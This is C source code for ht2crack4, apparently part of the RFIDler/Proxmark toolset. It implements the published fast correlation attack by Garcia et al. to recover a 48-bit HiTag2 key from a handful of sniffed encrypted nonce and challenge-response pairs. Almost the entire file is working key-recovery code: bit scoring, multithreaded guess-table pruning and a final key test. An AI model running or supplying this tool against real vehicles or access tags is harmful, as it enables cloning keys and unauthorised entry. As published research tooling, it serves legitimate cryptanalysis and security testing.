3 * This is an implementation of the fast correlation attack in Section 4.4 of the
4 * paper, Lock It and Still Lose It - On the (In)Security of Automotive Remote
5 * Keyless Entry Systems by Garcia, Oswald, Kasper and Pavlides.
6 * It is essentially an attack on the HiTag2 cryptosystem; it uses a small number
7 * (between 4 and 32) of encrypted nonce and challenge response pairs for the same
8 * UID to recover the key.
10 * Key recovery is performed by enumerating all 65536 of the first 16 bits of the
11 * key and then, using the encrypted nonces and challenge response pairs, scoring
12 * all of the guesses for how likely they are to be the first 16 bits of the actual
13 * key. The best of these guesses are then expanded by 1 bit and the process
14 * iterates until all bits have been guessed. The resulting guesses are then searched
15 * for the one that is actually correct, testing against two pairs.
17 * The program reads in up to 32 encrypted nonce and challenge response pairs from
18 * the supplied file; the number actually used is specified on the command line
19 * (defaults to all those read in). The default size of the table is 800000 but this
20 * can be changed via the command line options.
22 * Using more encrypted nonce and challenge response pairs improves the chances of
23 * recovering the key and doesn't significantly add to the time it takes.
25 * Using a larger table also improves the chances of recovering the key but
26 * *significantly* increases the time it takes to run.
28 * Best recommendation is to use as many encrypted nonce and challenge response
29 * pairs as you can, and start with a table size of about 500000, as this will take
30 * around 45s to run. If it fails, run it again with a table size of 1000000,
31 * continuing to double the table size until it succeeds. Alternatively, start with
32 * a table size of about 3000000 and expect it to take around 4 mins to run, but
33 * with a high likelihood of success.
35 * Setting table size to a large number (~32000000) will likely blow up the stack
36 * during the recursive qsort(). This could be fixed by making the stack space
37 * larger but really, you need a smaller table and more encrypted nonces.
39 * The scoring of the guesses is controversial, having been tweaked over and again
40 * to find a measure that provides the best results. Feel free to tweak it yourself
41 * if you don't like it or want to try alternative metrics.
52 #include "ht2crackutils.h"
54 /* you could have more than 32 traces, but you shouldn't really need
55 * more than 16. You can still win with 8 if you're lucky. */
58 /* set this to the number of virtual cores you have */
61 /* encrypted nonce and keystream storage
68 /* guess table entry - we store key guesses and do the maths to convert
69 * to states in the code
70 * score is used for sorting purposes
71 * b0to31 is an array of the keystream generated from the init state
72 * that is later XORed with the encrypted nonce and key guess
77 uint64_t b0to31
[MAX_NONCES
];
80 /* thread_data is the data sent to the scoring threads */
87 /* guess table and encrypted nonce/keystream table */
88 struct guess
*guesses
= NULL
;
89 unsigned int num_guesses
;
90 struct nonce nonces
[MAX_NONCES
];
91 unsigned int num_nRaR
;
93 int maxtablesize
= 800000;
94 uint64_t supplied_testkey
= 0;
96 static void usage(void) {
97 printf("ht2crack4 - K Sheldrake, based on the work of Garcia et al\n\n");
98 printf("Cracks a HiTag2 key using a small number (4 to 16) of encrypted\n");
99 printf("nonce and challenge response pairs, using a fast correlation\n");
100 printf("approach.\n\n");
101 printf(" -u UID (required)\n");
102 printf(" -n NONCEFILE (required)\n");
103 printf(" -N number of nRaR pairs to use (defaults to 32)\n");
104 printf(" -t TABLESIZE (defaults to 800000\n");
105 printf("Increasing the table size will slow it down but will be more\n");
106 printf("successful.\n");
112 /* macros to select bits from lfsr states - from RFIDler code */
113 #define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
114 #define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
115 ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
116 #define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
117 ((S >> (C - 2)) & 0xC) )
118 #define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
119 ((S >> (C - 3)) & 8) )
120 #define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
121 ((S >> (C - 3)) & 8) )
123 /* boolean tables for fns a, b and c - from RFIDler code */
124 const uint64_t ht2_function4a
= 0x2C79; // 0010 1100 0111 1001
125 const uint64_t ht2_function4b
= 0x6671; // 0110 0110 0111 0001
126 const uint64_t ht2_function5c
= 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
128 /* following arrays are the probabilities of getting a 1 from each function, given
129 * a known least-sig pattern. first index is num bits in known part, second is the
130 * bit pattern of the known part. */
132 {0.50000, 0.50000, },
133 {0.50000, 0.50000, 0.50000, 0.50000, },
134 {0.50000, 0.00000, 0.50000, 1.00000, 0.50000, 1.00000, 0.50000, 0.00000, },
137 {0.62500, 0.37500, },
138 {0.50000, 0.75000, 0.75000, 0.00000, },
139 {0.50000, 0.50000, 0.50000, 0.00000, 0.50000, 1.00000, 1.00000, 0.00000, },
141 double pfnc
[][16] = {
142 {0.50000, 0.50000, },
143 {0.62500, 0.62500, 0.37500, 0.37500, },
144 {0.75000, 0.50000, 0.25000, 0.75000, 0.50000, 0.75000, 0.50000, 0.00000, },
145 {1.00000, 1.00000, 0.50000, 0.50000, 0.50000, 0.50000, 0.50000, 0.00000, 0.50000, 0.00000, 0.00000, 1.00000, 0.50000, 1.00000, 0.50000, 0.00000, },
149 /* hitag2_crypt works on the post-shifted form of the lfsr; this is the ref in rfidler code */
151 static uint32_t hitag2_crypt(uint64_t s) {
154 bitindex = (ht2_function4a >> pickbits2_2(s, 1, 4)) & 1;
155 bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2(s, 7, 11, 13)) & 0x02;
156 bitindex |= ((ht2_function4b << 2) >> pickbits1x4(s, 16, 20, 22, 25)) & 0x04;
157 bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1(s, 27, 30, 32)) & 0x08;
158 bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
160 return (ht2_function5c >> bitindex) & 1;
164 /* ht2crypt works on the pre-shifted form of the lfsr; this is the ref in the paper */
165 static uint64_t ht2crypt(uint64_t s
) {
168 bitindex
= (ht2_function4a
>> pickbits2_2(s
, 2, 5)) & 1;
169 bitindex
|= ((ht2_function4b
<< 1) >> pickbits1_1_2(s
, 8, 12, 14)) & 0x02;
170 bitindex
|= ((ht2_function4b
<< 2) >> pickbits1x4(s
, 17, 21, 23, 26)) & 0x04;
171 bitindex
|= ((ht2_function4b
<< 3) >> pickbits2_1_1(s
, 28, 31, 33)) & 0x08;
172 bitindex
|= ((ht2_function4a
<< 4) >> pickbits1_2_1(s
, 34, 43, 46)) & 0x10;
174 return (ht2_function5c
>> bitindex
) & 1;
178 /* fnL is the feedback function for the reference code */
180 static uint64_t fnL(uint64_t x) {
181 return (bitn(x, 0) ^ bitn(x, 2) ^ bitn(x, 3) ^ bitn(x, 6) ^ bitn(x, 7) ^ bitn(x, 8) ^
182 bitn(x, 16) ^ bitn(x, 22) ^ bitn(x, 23) ^ bitn(x, 26) ^ bitn(x, 30) ^ bitn(x, 41) ^
183 bitn(x, 42) ^ bitn(x, 43) ^ bitn(x, 46) ^ bitn(x, 47));
187 /* packed_size is an array that maps the number of confirmed bits in a state to
188 * the number of relevant bits.
189 * e.g. if there are 16 confirmed bits in a state, then packed_size[16] = 8 relevant bits.
190 * this is for pre-shifted lfsr */
191 unsigned int packed_size
[] = { 0, 0, 0, 1, 2, 2, 3, 4, 4, 5, 5, 5, 5, 6, 6, 7, 8,
192 8, 9, 9, 9, 9, 10, 10, 11, 11, 11, 12, 12, 13, 14, 14, 15,
193 15, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 19, 19, 20, 20
197 /* f20 is the same as hitag2_crypt except it works on the packed version
198 * of the state where all 20 relevant bits are squashed together */
199 static uint64_t f20(uint64_t y
) {
202 bitindex
= (ht2_function4a
>> (y
& 0xf)) & 1;
203 bitindex
|= ((ht2_function4b
<< 1) >> ((y
>> 4) & 0xf)) & 0x02;
204 bitindex
|= ((ht2_function4b
<< 2) >> ((y
>> 8) & 0xf)) & 0x04;
205 bitindex
|= ((ht2_function4b
<< 3) >> ((y
>> 12) & 0xf)) & 0x08;
206 bitindex
|= ((ht2_function4a
<< 4) >> ((y
>> 16) & 0xf)) & 0x10;
208 return (ht2_function5c
>> bitindex
) & 1;
212 /* packstate packs the relevant bits from LFSR state into 20 bits for pre-shifted lfsr */
213 static uint64_t packstate(uint64_t s
) {
216 packed
= pickbits2_2(s
, 2, 5);
217 packed
|= (pickbits1_1_2(s
, 8, 12, 14) << 4);
218 packed
|= (pickbits1x4(s
, 17, 21, 23, 26) << 8);
219 packed
|= (pickbits2_1_1(s
, 28, 31, 33) << 12);
220 packed
|= (pickbits1_2_1(s
, 34, 43, 46) << 16);
226 /* create_guess_table mallocs the tables */
227 static void create_guess_table(void) {
228 guesses
= (struct guess
*)malloc(sizeof(struct guess
) * maxtablesize
);
230 printf("cannot malloc guess table\n");
236 /* init the guess table by reading in the encrypted nR,aR values and
237 * setting the first 2^16 key guesses */
238 static void init_guess_table(char *filename
, char *uidstr
) {
247 printf("guesses is NULL\n");
252 if (!strncmp(uidstr
, "0x", 2)) {
253 uid
= rev32(hexreversetoulong(uidstr
+ 2));
255 uid
= rev32(hexreversetoulong(uidstr
));
259 // read encrypted nonces and challenge response values
260 fp
= fopen(filename
, "r");
262 printf("cannot open nRaR file\n");
267 buf
= (char *)malloc(lenbuf
);
269 printf("cannot malloc buf\n");
273 while ((getline(&buf
, &lenbuf
, fp
) > 0) && (num_nRaR
< MAX_NONCES
)) {
274 buft1
= strchr(buf
, ' ');
276 printf("invalid file input on line %u\n", num_nRaR
+ 1);
281 buft2
= strchr(buft1
, '\n');
283 printf("no CR on line %u\n", num_nRaR
+ 1);
287 if (!strncmp(buf
, "0x", 2)) {
288 nonces
[num_nRaR
].enc_nR
= rev32(hexreversetoulong(buf
+ 2));
289 nonces
[num_nRaR
].ks
= rev32(hexreversetoulong(buft1
+ 2)) ^ 0xffffffff;
291 nonces
[num_nRaR
].enc_nR
= rev32(hexreversetoulong(buf
));
292 nonces
[num_nRaR
].ks
= rev32(hexreversetoulong(buft1
)) ^ 0xffffffff;
298 fprintf(stderr
, "Loaded %u nRaR pairs\n", num_nRaR
);
300 // set key and copy in enc_nR and ks values
301 // set score to -1.0 to distinguish them from 0 scores
302 for (i
= 0; i
< 65536; i
++) {
304 guesses
[i
].score
= -1.0;
305 for (j
= 0; j
< num_nRaR
; j
++) {
306 guesses
[i
].b0to31
[j
] = 0;
314 /* bit_score calculates the ratio of partial states that could generate
315 * the resulting bit b to all possible states
316 * size is the number of confirmed bits in the state */
317 static double bit_score(uint64_t s
, uint64_t size
, uint64_t b
) {
322 double nibprob1
, nibprob0
, prob
;
323 unsigned int fncinput
;
326 // chop away any bits beyond size
327 chopped
= s
& ((1l << size
) - 1);
328 // and pack the remaining bits
329 packed
= packstate(chopped
);
331 // calc size of packed version
332 n
= packed_size
[size
];
336 // calc probability of getting b1
338 // start by calculating probability of getting a 1,
339 // then fix if b1==0 (subtract from 1)
342 // catch the case where we have no relevant bits and return
343 // the default probability
346 // incomplete first nibble
347 // get probability of getting a 1 from first nibble
348 // and by subtraction from 1, prob of getting a 0
349 nibprob1
= pfna
[n
- 1][packed
];
350 nibprob0
= 1.0 - nibprob1
;
352 // calc fnc prob as sum of probs of nib 1 producing a 1 and 0
353 prob
= (nibprob0
* pfnc
[0][0]) + (nibprob1
* pfnc
[0][1]);
355 // calculate the fnc input first, then we'll fix it
356 fncinput
= (ht2_function4a
>> (packed
& 0xf)) & 1;
357 fncinput
|= ((ht2_function4b
<< 1) >> ((packed
>> 4) & 0xf)) & 0x02;
358 fncinput
|= ((ht2_function4b
<< 2) >> ((packed
>> 8) & 0xf)) & 0x04;
359 fncinput
|= ((ht2_function4b
<< 3) >> ((packed
>> 12) & 0xf)) & 0x08;
360 fncinput
|= ((ht2_function4a
<< 4) >> ((packed
>> 16) & 0xf)) & 0x10;
362 // mask to keep the full nibble bits
363 fncinput
= fncinput
& ((1l << (n
/ 4)) - 1);
366 // only complete nibbles
367 prob
= pfnc
[(n
/ 4) - 1][fncinput
];
369 // one nibble is incomplete
371 // it's in the fnb area
372 nibprob1
= pfnb
[(n
% 4) - 1][packed
>> ((n
/ 4) * 4)];
373 nibprob0
= 1.0 - nibprob1
;
374 prob
= (nibprob0
* pfnc
[n
/ 4][fncinput
]) + (nibprob1
* pfnc
[n
/ 4][fncinput
| (1l << (n
/ 4))]);
376 // it's in the final fna
377 nibprob1
= pfna
[(n
% 4) - 1][packed
>> 16];
378 nibprob0
= 1.0 - nibprob1
;
379 prob
= (nibprob0
* ((ht2_function5c
>> fncinput
) & 0x1)) + (nibprob1
* ((ht2_function5c
>> (fncinput
| 0x10)) & 0x1));
395 /* score is like bit_score but does multiple bit correlation.
396 * bit_score and then shift and then repeat, adding all
397 * bit_scores together until no bits remain. bit_scores are
398 * multiplied by the number of relevant bits in the scored state
399 * to give weight to more complete states. */
400 static double score(uint64_t s
, unsigned int size
, uint64_t ks
, unsigned int kssize
) {
403 if ((size
== 1) || (kssize
== 1)) {
404 sc
= bit_score(s
, size
, ks
& 0x1);
405 return (sc
* (packed_size
[size
] + 1));
407 // I've introduced a weighting for each score to
408 // give more significance to bigger windows.
410 sc
= bit_score(s
, size
, ks
& 0x1);
412 // if a bit_score returns a probability of 0 then this can't be a winner
417 double sc2
= score(s
>> 1, size
- 1, ks
>> 1, kssize
- 1);
419 // if score returns a probability of 0 then this can't be a winner
423 return (sc
* (packed_size
[size
] + 1)) + sc2
;
430 /* score_traces runs score for each encrypted nonce */
431 static void score_traces(struct guess
*g
, unsigned int size
) {
435 double total_score
= 0.0;
437 // don't bother scoring traces that are already losers
438 if (g
->score
== 0.0) {
442 for (i
= 0; i
< num_nRaR
; i
++) {
444 // create lfsr - lower 32 bits is uid, upper 16 bits are lower 16 bits of key
445 // then shift by size - 16, insert upper key XOR enc_nonce XOR bitstream,
446 // and calc new bit b
447 lfsr
= (uid
>> (size
- 16)) | ((g
->key
<< (48 - size
)) ^
448 ((nonces
[i
].enc_nR
^ g
->b0to31
[i
]) << (64 - size
)));
449 g
->b0to31
[i
] = g
->b0to31
[i
] | (ht2crypt(lfsr
) << (size
- 16));
451 // create lfsr - lower 16 bits are lower 16 bits of key
452 // bits 16-47 are upper bits of key XOR enc_nonce XOR bitstream
453 lfsr
= g
->key
^ ((nonces
[i
].enc_nR
^ g
->b0to31
[i
]) << 16);
455 sc
= score(lfsr
, size
, nonces
[i
].ks
, 32);
457 // look out for losers
462 total_score
= total_score
+ sc
;
465 // save average score
466 g
->score
= total_score
/ num_nRaR
;
471 /* score_all_traces runs score_traces for every key guess in the table */
472 /* this was used in the non-threaded version */
474 void score_all_traces(unsigned int size)
478 for (i=0; i<num_guesses; i++) {
479 score_traces(&(guesses[i]), size);
484 /* score_some_traces runs score_traces for every key guess in a section of the table */
485 static void *score_some_traces(void *data
) {
487 struct thread_data
*tdata
= (struct thread_data
*)data
;
489 for (i
= tdata
->start
; i
< tdata
->end
; i
++) {
490 score_traces(&(guesses
[i
]), tdata
->size
);
497 /* score_all_traces runs score_traces for every key guess in the table */
498 static void score_all_traces(unsigned int size
) {
499 pthread_t threads
[NUM_THREADS
];
501 struct thread_data tdata
[NUM_THREADS
];
503 unsigned int chunk_size
;
505 chunk_size
= num_guesses
/ NUM_THREADS
;
507 // create thread data
508 for (i
= 0; i
< NUM_THREADS
; i
++) {
509 tdata
[i
].start
= i
* chunk_size
;
510 tdata
[i
].end
= (i
+ 1) * chunk_size
;
511 tdata
[i
].size
= size
;
515 tdata
[NUM_THREADS
- 1].end
= num_guesses
;
518 for (i
= 0; i
< NUM_THREADS
; i
++) {
519 if (pthread_create(&(threads
[i
]), NULL
, score_some_traces
, (void *)(tdata
+ i
))) {
520 printf("cannot start thread %u\n", i
);
525 // wait for threads to end
526 for (i
= 0; i
< NUM_THREADS
; i
++) {
527 if (pthread_join(threads
[i
], &status
)) {
528 printf("cannot join thread %u\n", i
);
538 /* cmp_guess is the comparison function for qsorting the guess table */
539 static int cmp_guess(const void *a
, const void *b
) {
540 struct guess
*a1
= (struct guess
*)a
;
541 struct guess
*b1
= (struct guess
*)b
;
543 if (a1
->score
< b1
->score
) {
545 } else if (a1
->score
> b1
->score
) {
553 /* expand all guesses in first half of (sorted) table by
554 * copying them into the second half and extending the copied
555 * ones with an extra 1, leaving the first half with an extra 0 */
556 static void expand_guesses(unsigned int halfsize
, unsigned int size
) {
559 for (i
= 0; i
< halfsize
; i
++) {
560 guesses
[i
+ halfsize
].key
= guesses
[i
].key
| (1l << size
);
561 guesses
[i
+ halfsize
].score
= guesses
[i
].score
;
562 for (j
= 0; j
< num_nRaR
; j
++) {
563 guesses
[i
+ halfsize
].b0to31
[j
] = guesses
[i
].b0to31
[j
];
569 /* checks if the supplied test key is still in the table, which
570 * is useful when testing different scoring methods */
571 static void check_supplied_testkey(unsigned int size
) {
575 partkey
= supplied_testkey
& ((1l << size
) - 1);
577 for (i
= 0; i
< num_guesses
; i
++) {
578 if (guesses
[i
].key
== partkey
) {
579 fprintf(stderr
, " supplied test key score = %1.10f, position = %u\n", guesses
[i
].score
, i
);
584 fprintf(stderr
, "TEST KEY NO LONGER IN GUESSES\n");
589 /* execute_round scores the guesses, sorts them and expands the good half */
590 static void execute_round(unsigned int size
) {
591 unsigned int halfsize
;
593 // score all the current guesses
594 score_all_traces(size
);
596 // sort the guesses by score
597 qsort(guesses
, num_guesses
, sizeof(struct guess
), cmp_guess
);
599 if (supplied_testkey
) {
600 check_supplied_testkey(size
);
604 if (num_guesses
< (maxtablesize
/ 2)) {
605 halfsize
= num_guesses
;
607 halfsize
= (maxtablesize
/ 2);
611 expand_guesses(halfsize
, size
);
613 num_guesses
= halfsize
* 2;
617 /* crack is the main cracking algo; it executes the rounds */
618 static void crack(void) {
623 for (i
= 16; i
<= 48; i
++) {
624 fprintf(stderr
, "round %2u, size=%2u\n", i
- 16, i
);
627 // print some metrics
628 revkey
= rev64(guesses
[0].key
);
629 foundkey
= ((revkey
>> 40) & 0xff) | ((revkey
>> 24) & 0xff00) | ((revkey
>> 8) & 0xff0000) | ((revkey
<< 8) & 0xff000000) | ((revkey
<< 24) & 0xff00000000) | ((revkey
<< 40) & 0xff0000000000);
630 fprintf(stderr
, " guess=%012" PRIx64
", num_guesses = %u, top score=%1.10f, min score=%1.10f\n", foundkey
, num_guesses
, guesses
[0].score
, guesses
[num_guesses
- 1].score
);
634 /* test function to make sure I know how the LFSR works */
636 static void testkey(uint64_t key) {
644 printf("ORIG REFERENCE\n");
645 hitag2_init(&hstate, key, uid, nonces[0].enc_nR);
646 printf("after init with key, uid, nR:\n");
649 for (i = 0; i < 32; i++) {
650 b0to31 = (b0to31 >> 1) | (hitag2_nstep(&hstate, 1) << 31);
652 printf("ks = 0x%08" PRIx64 ", enc_aR = 0x%08" PRIx64 ", aR = 0x%08" PRIx64 "\n", b0to31, nonces[0].ks ^ 0xffffffff, nonces[0].ks ^ 0xffffffff ^ b0to31);
658 printf("MY REFERENCE\n");
659 // build initial lfsr
660 lfsr = uid | ((key & 0xffff) << 32);
662 // xor upper part of key with encrypted nonce
663 nRxorkey = nonces[0].enc_nR ^ (key >> 16);
664 // insert keyupper xor encrypted nonce xor ks
665 for (i = 0; i < 32; i++) {
666 // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31
667 b0to31 = (b0to31 >> 1) | (ht2crypt(lfsr) << 31);
669 lfsr = lfsr | ((((nRxorkey >> i) & 0x1) ^ ((b0to31 >> 31) & 0x1)) << 48);
673 printf("after init with key, uid, nR:\n");
674 printf("lfsr =\t\t");
678 // iterate lfsr with fnL, extracting ks
679 for (i = 0; i < 32; i++) {
680 // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31
681 ks = (ks >> 1) | (ht2crypt(lfsr) << 31);
683 lfsr = lfsr | (fnL(lfsr) << 48);
688 printf("ks = 0x%08" PRIx64 ", aR = 0x%08" PRIx64 ", ks(orig) = 0x%08" PRIx64 ", aR(orig) = %08" PRIx64 "\n", ks, ks ^ 0xffffffff, nonces[0].ks, nonces[0].ks ^ 0xffffffff);
689 printf("lfsr = \t\t");
695 /* test function to generate test data */
697 static void gen_bitstreams_testks(struct guess *g, uint64_t key) {
699 uint64_t nRxorkey, lfsr, ks;
701 for (j = 0; j < num_nRaR; j++) {
703 // build initial lfsr
704 lfsr = uid | ((key & 0xffff) << 32);
706 // xor upper part of key with encrypted nonce
707 nRxorkey = nonces[j].enc_nR ^ (key >> 16);
708 // insert keyupper xor encrypted nonce xor ks
709 for (i = 0; i < 32; i++) {
710 // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31
711 g->b0to31[j] = (g->b0to31[j] >> 1) | (ht2crypt(lfsr) << 31);
713 lfsr = lfsr | ((((nRxorkey >> i) & 0x1) ^ ((g->b0to31[j] >> 31) & 0x1)) << 48);
719 // iterate lfsr with fnL, extracting ks
720 for (i = 0; i < 32; i++) {
721 // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31
722 ks = (ks >> 1) | (ht2crypt(lfsr) << 31);
724 lfsr = lfsr | (fnL(lfsr) << 48);
729 printf("orig ks = 0x%08" PRIx64 ", gen ks = 0x%08" PRIx64 ", b0to31 = 0x%08" PRIx64 "\n", nonces[j].ks, ks, g->b0to31[j]);
730 if (nonces[j].ks != ks) {
739 static void test(void) {
746 for (i = 0; i < 1000; i++) {
747 lfsr = ((uint64_t)rand() << 32) | rand();
748 packed = packstate(lfsr);
750 if (hitag2_crypt(lfsr) != f20(packed)) {
751 printf(" * * * FAIL: %3" PRIu64 ": 0x%012" PRIx64 " = %u, 0x%012" PRIx64 " = 0x%05" PRIx64 "\n", i, lfsr, hitag2_crypt(lfsr), packed, f20(packed));
755 printf("test done\n");
759 /* check_key tests the potential key against an encrypted nonce, ks pair */
760 static int check_key(uint64_t key
, uint64_t enc_nR
, uint64_t ks
) {
765 hitag2_init(&hstate
, key
, uid
, enc_nR
);
767 for (i
= 0; i
< 32; i
++) {
768 bits
= (bits
>> 1) | (hitag2_nstep(&hstate
, 1) << 31);
779 int main(int argc
, char *argv
[]) {
786 char *noncefilestr
= NULL
;
791 while ((c
= getopt(argc
, argv
, "u:n:N:t:T:h")) != -1) {
797 noncefilestr
= optarg
;
800 tot_nRaR
= atoi(optarg
);
803 maxtablesize
= atoi(optarg
);
806 supplied_testkey
= rev64(hexreversetoulonglong(optarg
));
816 if (!uidstr
|| !noncefilestr
|| (maxtablesize
<= 0)) {
820 create_guess_table();
822 init_guess_table(noncefilestr
, uidstr
);
824 if ((tot_nRaR
> 0) && (tot_nRaR
<= num_nRaR
)) {
827 fprintf(stderr
, "Using %u nRaR pairs\n", num_nRaR
);
831 // test all key guesses and stop if one works
832 for (i
= 0; i
< num_guesses
; i
++) {
833 if (check_key(guesses
[i
].key
, nonces
[0].enc_nR
, nonces
[0].ks
) &&
834 check_key(guesses
[i
].key
, nonces
[1].enc_nR
, nonces
[1].ks
)) {
835 printf("WIN!!! :)\n");
836 revkey
= rev64(guesses
[i
].key
);
837 foundkey
= ((revkey
>> 40) & 0xff) | ((revkey
>> 24) & 0xff00) | ((revkey
>> 8) & 0xff0000) | ((revkey
<< 8) & 0xff000000) | ((revkey
<< 24) & 0xff00000000) | ((revkey
<< 40) & 0xff0000000000);
838 printf("key = %012" PRIX64
"\n", foundkey
);
843 printf("FAIL :( - none of the potential keys in the table are correct.\n");